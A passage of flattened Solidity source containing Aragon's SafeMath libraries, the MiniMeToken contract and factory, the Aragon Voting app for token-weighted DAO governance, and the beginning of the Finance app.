is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b, ERROR_MUL_OVERFLOW); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // File: @aragon/os/contracts/lib/math/SafeMath64.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol // Adapted for uint64, pragma ^0.4.24, and satisfying our linter rules // Also optimized the mul() implementation, see https://github.com/aragon/aragonOS/pull/417 pragma solidity ^0.4.24; /** * @title SafeMath64 * @dev Math operations for uint64 with safety checks that revert on error */ library SafeMath64 { string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint64 _a, uint64 _b) internal pure returns (uint64) { uint256 c = uint256(_a) * uint256(_b); require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way) return uint64(c); } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint64 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint64 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint64 _a, uint64 _b) internal pure returns (uint64) { uint64 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // File: @aragon/apps-shared-minime/contracts/ITokenController.sol pragma solidity ^0.4.24; /// @dev The token controller contract must implement these functions interface ITokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) external payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) external returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) external returns(bool); } // File: @aragon/apps-shared-minime/contracts/MiniMeToken.sol pragma solidity ^0.4.24; /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController public { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 _amount, address _token, bytes _data ) public; } /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a "Campaign" contract MiniMeToken is Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "MMT_0.1"; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred function MiniMeToken( MiniMeTokenFactory _tokenFactory, MiniMeToken _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = _tokenFactory; name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = _parentToken; parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false var previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // Alerts the token controller of the transfer if (isContract(controller)) { // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).onTransfer(_from, _to, _amount) == true); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).onApprove(msg.sender, _spender, _amount) == true); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes _extraData) public returns (bool success) { require(approve(_spender, _amount)); _spender.receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(MiniMeToken) { uint256 snapshot = _snapshotBlock == 0 ? block.number - 1 : _snapshotBlock; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, snapshot, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain NewCloneToken(address(cloneToken), snapshot); return cloneToken; } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) onlyController public { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () external payable { require(isContract(controller)); // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).proxyPayment.value(msg.value)(msg.sender) == true); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController public { if (_token == 0x0) { controller.transfer(this.balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( MiniMeToken _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } // File: @aragon/apps-voting/contracts/Voting.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity 0.4.24; contract Voting is IForwarder, AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; bytes32 public constant CREATE_VOTES_ROLE = keccak256("CREATE_VOTES_ROLE"); bytes32 public constant MODIFY_SUPPORT_ROLE = keccak256("MODIFY_SUPPORT_ROLE"); bytes32 public constant MODIFY_QUORUM_ROLE = keccak256("MODIFY_QUORUM_ROLE"); uint64 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10^16; 100% = 10^18 string private constant ERROR_NO_VOTE = "VOTING_NO_VOTE"; string private constant ERROR_INIT_PCTS = "VOTING_INIT_PCTS"; string private constant ERROR_CHANGE_SUPPORT_PCTS = "VOTING_CHANGE_SUPPORT_PCTS"; string private constant ERROR_CHANGE_QUORUM_PCTS = "VOTING_CHANGE_QUORUM_PCTS"; string private constant ERROR_INIT_SUPPORT_TOO_BIG = "VOTING_INIT_SUPPORT_TOO_BIG"; string private constant ERROR_CHANGE_SUPPORT_TOO_BIG = "VOTING_CHANGE_SUPP_TOO_BIG"; string private constant ERROR_CAN_NOT_VOTE = "VOTING_CAN_NOT_VOTE"; string private constant ERROR_CAN_NOT_EXECUTE = "VOTING_CAN_NOT_EXECUTE"; string private constant ERROR_CAN_NOT_FORWARD = "VOTING_CAN_NOT_FORWARD"; string private constant ERROR_NO_VOTING_POWER = "VOTING_NO_VOTING_POWER"; enum VoterState { Absent, Yea, Nay } struct Vote { bool executed; uint64 startDate; uint64 snapshotBlock; uint64 supportRequiredPct; uint64 minAcceptQuorumPct; uint256 yea; uint256 nay; uint256 votingPower; bytes executionScript; mapping (address => VoterState) voters; } MiniMeToken public token; uint64 public supportRequiredPct; uint64 public minAcceptQuorumPct; uint64 public voteTime; // We are mimicing an array, we use a mapping instead to make app upgrade more graceful mapping (uint256 => Vote) internal votes; uint256 public votesLength; event StartVote(uint256 indexed voteId, address indexed creator, string metadata); event CastVote(uint256 indexed voteId, address indexed voter, bool supports, uint256 stake); event ExecuteVote(uint256 indexed voteId); event ChangeSupportRequired(uint64 supportRequiredPct); event ChangeMinQuorum(uint64 minAcceptQuorumPct); modifier voteExists(uint256 _voteId) { require(_voteId < votesLength, ERROR_NO_VOTE); _; } /** * @notice Initialize Voting app with `_token.symbol(): string` for governance, minimum support of `@formatPct(_supportRequiredPct)`%, minimum acceptance quorum of `@formatPct(_minAcceptQuorumPct)`%, and a voting duration of `@transformTime(_voteTime)` * @param _token MiniMeToken Address that will be used as governance token * @param _supportRequiredPct Percentage of yeas in casted votes for a vote to succeed (expressed as a percentage of 10^18; eg. 10^16 = 1%, 10^18 = 100%) * @param _minAcceptQuorumPct Percentage of yeas in total possible votes for a vote to succeed (expressed as a percentage of 10^18; eg. 10^16 = 1%, 10^18 = 100%) * @param _voteTime Seconds that a vote will be open for token holders to vote (unless enough yeas or nays have been cast to make an early decision) */ function initialize( MiniMeToken _token, uint64 _supportRequiredPct, uint64 _minAcceptQuorumPct, uint64 _voteTime ) external onlyInit { initialized(); require(_minAcceptQuorumPct <= _supportRequiredPct, ERROR_INIT_PCTS); require(_supportRequiredPct < PCT_BASE, ERROR_INIT_SUPPORT_TOO_BIG); token = _token; supportRequiredPct = _supportRequiredPct; minAcceptQuorumPct = _minAcceptQuorumPct; voteTime = _voteTime; } /** * @notice Change required support to `@formatPct(_supportRequiredPct)`% * @param _supportRequiredPct New required support */ function changeSupportRequiredPct(uint64 _supportRequiredPct) external authP(MODIFY_SUPPORT_ROLE, arr(uint256(_supportRequiredPct), uint256(supportRequiredPct))) { require(minAcceptQuorumPct <= _supportRequiredPct, ERROR_CHANGE_SUPPORT_PCTS); require(_supportRequiredPct < PCT_BASE, ERROR_CHANGE_SUPPORT_TOO_BIG); supportRequiredPct = _supportRequiredPct; emit ChangeSupportRequired(_supportRequiredPct); } /** * @notice Change minimum acceptance quorum to `@formatPct(_minAcceptQuorumPct)`% * @param _minAcceptQuorumPct New acceptance quorum */ function changeMinAcceptQuorumPct(uint64 _minAcceptQuorumPct) external authP(MODIFY_QUORUM_ROLE, arr(uint256(_minAcceptQuorumPct), uint256(minAcceptQuorumPct))) { require(_minAcceptQuorumPct <= supportRequiredPct, ERROR_CHANGE_QUORUM_PCTS); minAcceptQuorumPct = _minAcceptQuorumPct; emit ChangeMinQuorum(_minAcceptQuorumPct); } /** * @notice Create a new vote about "`_metadata`" * @param _executionScript EVM script to be executed on approval * @param _metadata Vote metadata * @return voteId Id for newly created vote */ function newVote(bytes _executionScript, string _metadata) external auth(CREATE_VOTES_ROLE) returns (uint256 voteId) { return _newVote(_executionScript, _metadata, true, true); } /** * @notice Create a new vote about "`_metadata`" * @param _executionScript EVM script to be executed on approval * @param _metadata Vote metadata * @param _castVote Whether to also cast newly created vote * @param _executesIfDecided Whether to also immediately execute newly created vote if decided * @return voteId id for newly created vote */ function newVote(bytes _executionScript, string _metadata, bool _castVote, bool _executesIfDecided) external auth(CREATE_VOTES_ROLE) returns (uint256 voteId) { return _newVote(_executionScript, _metadata, _castVote, _executesIfDecided); } /** * @notice Vote `_supports ? 'yes' : 'no'` in vote #`_voteId` * @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be * created via `newVote(),` which requires initialization * @param _voteId Id for vote * @param _supports Whether voter supports the vote * @param _executesIfDecided Whether the vote should execute its action if it becomes decided */ function vote(uint256 _voteId, bool _supports, bool _executesIfDecided) external voteExists(_voteId) { require(_canVote(_voteId, msg.sender), ERROR_CAN_NOT_VOTE); _vote(_voteId, _supports, msg.sender, _executesIfDecided); } /** * @notice Execute vote #`_voteId` * @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be * created via `newVote(),` which requires initialization * @param _voteId Id for vote */ function executeVote(uint256 _voteId) external voteExists(_voteId) { _executeVote(_voteId); } // Forwarding fns function isForwarder() external pure returns (bool) { return true; } /** * @notice Creates a vote to execute the desired action, and casts a support vote if possible * @dev IForwarder interface conformance * @param _evmScript Start vote with script */ function forward(bytes _evmScript) public { require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD); _newVote(_evmScript, "", true, true); } function canForward(address _sender, bytes) public view returns (bool) { // Note that `canPerform()` implicitly does an initialization check itself return canPerform(_sender, CREATE_VOTES_ROLE, arr()); } // Getter fns /** * @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be * created via `newVote(),` which requires initialization */ function canExecute(uint256 _voteId) public view voteExists(_voteId) returns (bool) { return _canExecute(_voteId); } /** * @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be * created via `newVote(),` which requires initialization */ function canVote(uint256 _voteId, address _voter) public view voteExists(_voteId) returns (bool) { return _canVote(_voteId, _voter); } function getVote(uint256 _voteId) public view voteExists(_voteId) returns ( bool open, bool executed, uint64 startDate, uint64 snapshotBlock, uint64 supportRequired, uint64 minAcceptQuorum, uint256 yea, uint256 nay, uint256 votingPower, bytes script ) { Vote storage vote_ = votes[_voteId]; open = _isVoteOpen(vote_); executed = vote_.executed; startDate = vote_.startDate; snapshotBlock = vote_.snapshotBlock; supportRequired = vote_.supportRequiredPct; minAcceptQuorum = vote_.minAcceptQuorumPct; yea = vote_.yea; nay = vote_.nay; votingPower = vote_.votingPower; script = vote_.executionScript; } function getVoterState(uint256 _voteId, address _voter) public view voteExists(_voteId) returns (VoterState) { return votes[_voteId].voters[_voter]; } // Internal fns function _newVote(bytes _executionScript, string _metadata, bool _castVote, bool _executesIfDecided) internal returns (uint256 voteId) { uint64 snapshotBlock = getBlockNumber64() - 1; // avoid double voting in this very block uint256 votingPower = token.totalSupplyAt(snapshotBlock); require(votingPower > 0, ERROR_NO_VOTING_POWER); voteId = votesLength++; Vote storage vote_ = votes[voteId]; vote_.startDate = getTimestamp64(); vote_.snapshotBlock = snapshotBlock; vote_.supportRequiredPct = supportRequiredPct; vote_.minAcceptQuorumPct = minAcceptQuorumPct; vote_.votingPower = votingPower; vote_.executionScript = _executionScript; emit StartVote(voteId, msg.sender, _metadata); if (_castVote && _canVote(voteId, msg.sender)) { _vote(voteId, true, msg.sender, _executesIfDecided); } } function _vote( uint256 _voteId, bool _supports, address _voter, bool _executesIfDecided ) internal { Vote storage vote_ = votes[_voteId]; // This could re-enter, though we can assume the governance token is not malicious uint256 voterStake = token.balanceOfAt(_voter, vote_.snapshotBlock); VoterState state = vote_.voters[_voter]; // If voter had previously voted, decrease count if (state == VoterState.Yea) { vote_.yea = vote_.yea.sub(voterStake); } else if (state == VoterState.Nay) { vote_.nay = vote_.nay.sub(voterStake); } if (_supports) { vote_.yea = vote_.yea.add(voterStake); } else { vote_.nay = vote_.nay.add(voterStake); } vote_.voters[_voter] = _supports ? VoterState.Yea : VoterState.Nay; emit CastVote(_voteId, _voter, _supports, voterStake); if (_executesIfDecided && _canExecute(_voteId)) { // We've already checked if the vote can be executed with `_canExecute()` _unsafeExecuteVote(_voteId); } } function _executeVote(uint256 _voteId) internal { require(_canExecute(_voteId), ERROR_CAN_NOT_EXECUTE); _unsafeExecuteVote(_voteId); } /** * @dev Unsafe version of _executeVote that assumes you have already checked if the vote can be executed */ function _unsafeExecuteVote(uint256 _voteId) internal { Vote storage vote_ = votes[_voteId]; vote_.executed = true; bytes memory input = new bytes(0); // TODO: Consider input for voting scripts runScript(vote_.executionScript, input, new address[](0)); emit ExecuteVote(_voteId); } function _canExecute(uint256 _voteId) internal view returns (bool) { Vote storage vote_ = votes[_voteId]; if (vote_.executed) { return false; } // Voting is already decided if (_isValuePct(vote_.yea, vote_.votingPower, vote_.supportRequiredPct)) { return true; } // Vote ended? if (_isVoteOpen(vote_)) { return false; } // Has enough support? uint256 totalVotes = vote_.yea.add(vote_.nay); if (!_isValuePct(vote_.yea, totalVotes, vote_.supportRequiredPct)) { return false; } // Has min quorum? if (!_isValuePct(vote_.yea, vote_.votingPower, vote_.minAcceptQuorumPct)) { return false; } return true; } function _canVote(uint256 _voteId, address _voter) internal view returns (bool) { Vote storage vote_ = votes[_voteId]; return _isVoteOpen(vote_) && token.balanceOfAt(_voter, vote_.snapshotBlock) > 0; } function _isVoteOpen(Vote storage vote_) internal view returns (bool) { return getTimestamp64() < vote_.startDate.add(voteTime) && !vote_.executed; } /** * @dev Calculates whether `_value` is more than a percentage `_pct` of `_total` */ function _isValuePct(uint256 _value, uint256 _total, uint256 _pct) internal pure returns (bool) { if (_total == 0) { return false; } uint256 computedPct = _value.mul(PCT_BASE) / _total; return computedPct > _pct; } } // File: @aragon/ppf-contracts/contracts/IFeed.sol pragma solidity ^0.4.18; interface IFeed { function ratePrecision() external pure returns (uint256); function get(address base, address quote) external view returns (uint128 xrt, uint64 when); } // File: @aragon/apps-finance/contracts/Finance.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity 0.4.24; contract Finance is EtherTokenConstant, IsContract, AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; using SafeERC20 for ERC20; bytes32 public constant CREATE_PAYMENTS_ROLE = keccak256("CREATE_PAYMENTS_ROLE"); bytes32 public constant CHANGE_PERIOD_ROLE = keccak256("CHANGE_PERIOD_ROLE"); bytes32 public constant CHANGE_BUDGETS_ROLE = keccak256("CHANGE_BUDGETS_ROLE"); bytes32 public constant EXECUTE_PAYMENTS_ROLE = keccak256("EXECUTE_PAYMENTS_ROLE"); bytes32 public constant MANAGE_PAYMENTS_ROLE = keccak256("MANAGE_PAYMENTS_ROLE"); uint256 internal constant NO_SCHEDULED_PAYMENT = 0; uint256 internal constant NO_TRANSACTION = 0; uint256 internal constant 